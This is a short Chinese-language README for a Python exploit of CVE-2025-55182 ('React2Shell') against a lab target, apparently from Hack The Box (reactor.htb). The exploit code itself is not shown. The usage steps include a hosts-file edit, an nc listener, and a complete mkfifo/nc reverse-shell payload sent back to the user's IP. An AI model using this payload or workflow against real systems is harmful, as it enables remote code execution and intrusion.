React2Shell_Exploit CVE-2025-55182

我创建了简易的 react2shell CVE-2025-55182 Python 漏洞利用程序

用法

1. 保存脚本：将上述代码保存为 exploit.py。
2. 更新 Hosts：确保 reactor.htb 在你的 /etc/hosts 文件中解析到目标 IP。

   echo "<目标IP> reactor.htb" | sudo tee -a /etc/hosts
   

3. 启动监听：打开一个终端以接收反弹 Shell。

   nc -lvnp 4444
   

4. 执行漏洞利用：使用反弹 Shell 载荷运行脚本。

   python3 exploit.py http://reactor.htb:3000 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <你的IP> 4444 >/tmp/f"
   

5. 将 <你的IP> 替换为你的 tun0 IP 地址。